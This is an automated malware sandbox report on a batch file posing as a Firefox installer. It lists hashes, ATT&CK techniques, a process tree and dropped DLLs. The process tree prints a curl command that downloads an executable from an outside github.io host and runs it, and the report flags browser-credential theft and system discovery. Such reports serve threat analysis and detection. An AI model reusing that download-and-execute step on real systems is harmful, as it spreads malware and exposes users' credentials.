4b9e4bbd675a45f1a99d54bff55576ba3c6d79ab76ea30e143d89fc1543e8580

Analysis

max time kernel
92s
max time network
138s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-11-2024 06:22

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General

Target

Files/Apps/firefox.bat
Size

1KB
MD5

51258a272fb1a43d19a099ae5a49b918
SHA1

88c3eb4a5cff1a2a97fa247a6a45a47e6803618e
SHA256

dc6c130992a0b42cd6aec0b0ddcd84ef6f4d757c5d2b871f7cca4a641d2240e0
SHA512

b67c94e8ac494301413cd7109b80e55bef97f2c5fb2b969bfc04a7a25b22bf8150d8c245688320bb1a62f8f6c8beb749b3c83a769fb06a59897fe8015c4d4009

Score

8^/10

discovery spyware stealer upx

Malware Config

Signatures

Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

FirefoxInstaller.exesetup-stub.exe

pid process

3928 FirefoxInstaller.exe
2272 setup-stub.exe
Loads dropped DLL 7 IoCs

Processes:

setup-stub.exe

pid process

2272 setup-stub.exe
2272 setup-stub.exe
2272 setup-stub.exe
2272 setup-stub.exe
2272 setup-stub.exe
2272 setup-stub.exe
2272 setup-stub.exe
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

pid	process
3928	FirefoxInstaller.exe
2272	setup-stub.exe

pid	process
2272	setup-stub.exe
2272	setup-stub.exe
2272	setup-stub.exe
2272	setup-stub.exe
2272	setup-stub.exe
2272	setup-stub.exe
2272	setup-stub.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\Apps\FirefoxInstaller.exe	upx
behavioral20/memory/3928-3-0x0000000000400000-0x0000000000446000-memory.dmp	upx
behavioral20/memory/3928-80-0x0000000000400000-0x0000000000446000-memory.dmp	upx

Drops file in Program Files directory 6 IoCs

Processes:

setup-stub.exe

description	ioc	process
File opened for modification	C:\Program Files\Mozilla Firefox\nsvA193.tmp	setup-stub.exe
File opened for modification	C:\Program Files\Mozilla Firefox\nsvA194.tmp	setup-stub.exe
File opened for modification	C:\Program Files\Mozilla Firefox\nsvA193.tmp\	setup-stub.exe
File opened for modification	C:\Program Files\Mozilla Firefox\nsgA182.tmp	setup-stub.exe
File opened for modification	C:\Program Files\Mozilla Firefox\nsgA183.tmp	setup-stub.exe
File opened for modification	C:\Program Files\Mozilla Firefox\nsgA182.tmp\	setup-stub.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1532 2272 WerFault.exe setup-stub.exe

pid	pid_target	process	target process
1532	2272	WerFault.exe	setup-stub.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

FirefoxInstaller.exesetup-stub.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FirefoxInstaller.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup-stub.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

setup-stub.exe

pid process

2272 setup-stub.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

setup-stub.exe

pid process

2272 setup-stub.exe
2272 setup-stub.exe

pid	process
2272	setup-stub.exe

pid	process
2272	setup-stub.exe
2272	setup-stub.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

cmd.execmd.exeFirefoxInstaller.exe

description	pid	process	target process
PID 2224 wrote to memory of 2644	2224	cmd.exe	cmd.exe
PID 2224 wrote to memory of 2644	2224	cmd.exe	cmd.exe
PID 2224 wrote to memory of 2836	2224	cmd.exe	cmd.exe
PID 2224 wrote to memory of 2836	2224	cmd.exe	cmd.exe
PID 2836 wrote to memory of 1932	2836	cmd.exe	chcp.com
PID 2836 wrote to memory of 1932	2836	cmd.exe	chcp.com
PID 2224 wrote to memory of 2904	2224	cmd.exe	chcp.com
PID 2224 wrote to memory of 2904	2224	cmd.exe	chcp.com
PID 2224 wrote to memory of 1088	2224	cmd.exe	chcp.com
PID 2224 wrote to memory of 1088	2224	cmd.exe	chcp.com
PID 2224 wrote to memory of 4676	2224	cmd.exe	curl.exe
PID 2224 wrote to memory of 4676	2224	cmd.exe	curl.exe
PID 2224 wrote to memory of 5052	2224	cmd.exe	curl.exe
PID 2224 wrote to memory of 5052	2224	cmd.exe	curl.exe
PID 2224 wrote to memory of 3928	2224	cmd.exe	FirefoxInstaller.exe
PID 2224 wrote to memory of 3928	2224	cmd.exe	FirefoxInstaller.exe
PID 2224 wrote to memory of 3928	2224	cmd.exe	FirefoxInstaller.exe
PID 3928 wrote to memory of 2272	3928	FirefoxInstaller.exe	setup-stub.exe
PID 3928 wrote to memory of 2272	3928	FirefoxInstaller.exe	setup-stub.exe
PID 3928 wrote to memory of 2272	3928	FirefoxInstaller.exe	setup-stub.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Files\Apps\firefox.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2224
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ver
  2⤵
  PID:2644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c chcp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\chcp.com
    chcp
    3⤵
    PID:1932
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:2904
- C:\Windows\system32\chcp.com
  chcp 437
  2⤵
  PID:1088
- C:\Windows\system32\curl.exe
  curl --help
  2⤵
  PID:4676
- C:\Windows\system32\curl.exe
  curl -o FirefoxInstaller.exe "https://schooicodes.github.io/file_hosting/FirefoxInstaller.exe"
  2⤵
  PID:5052
- C:\Users\Admin\AppData\Local\Temp\Files\Apps\FirefoxInstaller.exe
  FirefoxInstaller.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3928
- - C:\Users\Admin\AppData\Local\Temp\7zS85F905B7\setup-stub.exe
    .\setup-stub.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    PID:2272
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2272 -s 2624
      4⤵
      Program crash
      PID:1532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 2272 -ip 2272
1⤵
PID:1856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7zS85F905B7\setup-stub.exe

Filesize
550KB

MD5
6fd2e345d1daea0cad13d701d3063419

SHA1
805b2129b84df93ff301a5be8054fa12d5eb1792

SHA256
00518968d5ac7f86c00aaaa0a747cfe57a6f1cde435ce1d715e46d29ba5dbe75

SHA512
79ea114e72a4fc52c17e7574ed47847e0c03ca77e67dc71841ceb276655fcc9f8dff915beb2a58386256c19b92671a512dd138f5ab54147fe79eb850d57abcd3

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\Apps\FirefoxInstaller.exe

Filesize
341KB

MD5
2807af70411ea6fa907b4f30c70c6b8e

SHA1
0c26d3a3c7743a5a91d636e51c7dd3546333ea00

SHA256
8524a4a88d1c8899792a4712a385d8acb91ef69fbf9fb07ad40210d83d92556e

SHA512
17209b4ff8b9e0767deecf1b607fcf8569e3eea79861e76d5275cbf543254013af2cc624ea5dfb9b94333339fa589fd7e09c41e4dd5fb9d58334bf9a30e6a37c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsaA161.tmp\CityHash.dll

Filesize
53KB

MD5
2021acc65fa998daa98131e20c4605be

SHA1
2e8407cfe3b1a9d839ea391cfc423e8df8d8a390

SHA256
c299a0a71bf57eb241868158b4fcfe839d15d5ba607e1bdc5499fdf67b334a14

SHA512
cb96d3547bab778cbe94076be6765ed2ae07e183e4888d6c380f240b8c6708662a3b2b6b2294e38c48bc91bf2cc5fc7cfcd3afe63775151ba2fe34b06ce38948

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsaA161.tmp\InetBgDL.dll

Filesize
17KB

MD5
97c607f5d0add72295f8d0f27b448037

SHA1
dfb9a1aa1d3b1f7821152afaac149cad38c8ce3c

SHA256
dc98ed352476af459c91100b8c29073988da19d3adc73e2c2086d25f238544a5

SHA512
ad759062152869089558389c741876029198c5b98fa725e2d2927866dc8b416ae2de871cb2479f614f6d29b6f646bf7191d02837c3cabc15b8185b563bc46268

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsaA161.tmp\System.dll

Filesize
22KB

MD5
b361682fa5e6a1906e754cfa08aa8d90

SHA1
c6701aee0c866565de1b7c1f81fd88da56b395d3

SHA256
b711c4f17690421c9dc8ddb9ed5a9ddc539b3a28f11e19c851e25dcfc7701c04

SHA512
2778f91c9bcf83277d26c71118a1ccb0fb3ce50e89729f14f4915bc65dd48503a77b1e5118ce774dea72f5ce3cc8681eb9ca3c55cf90e9f61a177101ba192ae9

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsaA161.tmp\UAC.dll

Filesize
28KB

MD5
d23b256e9c12fe37d984bae5017c5f8c

SHA1
fd698b58a563816b2260bbc50d7f864b33523121

SHA256
ec6a56d981892bf251df1439bea425a5f6c7e1c7312d44bedd5e2957f270338c

SHA512
13f284821324ffaeadafd3651f64d896186f47cf9a68735642cf37b37de777dba197067fbccd3a7411b5dc7976e510439253bd24c9be1d36c0a59d924c17ae8e

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsaA161.tmp\UserInfo.dll

Filesize
14KB

MD5
610ad03dec634768cd91c7ed79672d67

SHA1
dc8099d476e2b324c09db95059ec5fd3febe1e1e

SHA256
c6c413108539f141bea3f679e0e2ef705898c51ec7c2607f478a865fc5e2e2df

SHA512
18c3c92be81aadfa73884fe3bdf1fce96ccfbd35057600ef52788a871de293b64f677351ba2885c6e9ce5c3890c22471c92832ffc13ba544e9d0b347c5d33bfd

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsaA161.tmp\WebBrowser.dll

Filesize
103KB

MD5
b53cd4ad8562a11f3f7c7890a09df27a

SHA1
db66b94670d47c7ee436c2a5481110ed4f013a48

SHA256
281a0dc8b4f644334c2283897963b20df88fa9fd32acca98ed2856b23318e6ec

SHA512
bb45d93ed13df24a2056040c219cdf36ee44c8cddb7e178fdaabcec63ac965e07f679ca1fa42591bba571992af619aa1dc76e819a7901709df79598a2b0cef81

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsaA161.tmp\installing.html

Filesize
1KB

MD5
167904d9f340244fbb3a303f50e7dd04

SHA1
cd9d3708e321c33713f2e6982b81f4e3a65b6bfd

SHA256
4d1f52b24e1e460e3b2aef617b3a68b4aad062c016cb5d6fbd9660813f3fca91

SHA512
b5b436bbdb972ec0da20cdc70706825a497f0da1df1ccf05decfdb0b931571d1db2fad955b07e0c592ac0e8ec7794563442d8f22b7a98cc7f86da64229b136d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsaA161.tmp\installing.js

Filesize
2KB

MD5
5d880454577d033215b9153e956ff37b

SHA1
d609bfabf790817e2624e538c1ccae8143731ec7

SHA256
254bd34973522c900b2c480186dd26d8885f448023dfba244af88726998c36c6

SHA512
13b27295b9707b9f0d9f41be3af67dd49b7bcf79b3e58b065e6bc55f7eb59f9c8f79fff2126355748c14a16a9f1a884c2040bb196630e39cb51f9b4d1642ffe3

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsaA161.tmp\stub_common.js

Filesize
815B

MD5
efce3dce0165b3f6551db47e5c0ac8d6

SHA1
1e15f6bb688e3d645092c1aa5ee3136f8de65312

SHA256
dab39cbae31848cce0b5c43fddd2674fef4dea5b7a3dacdaabdc78a8a931817e

SHA512
cec12da07f52822aaed340b1b751153efa43e5c3d747fa39f03bb2800bf53e9416020d654a818a6088acb2cf5581714433d818537f04af150e6bfb6861c03988

Download Submit
memory/3928-3-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download
memory/3928-80-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download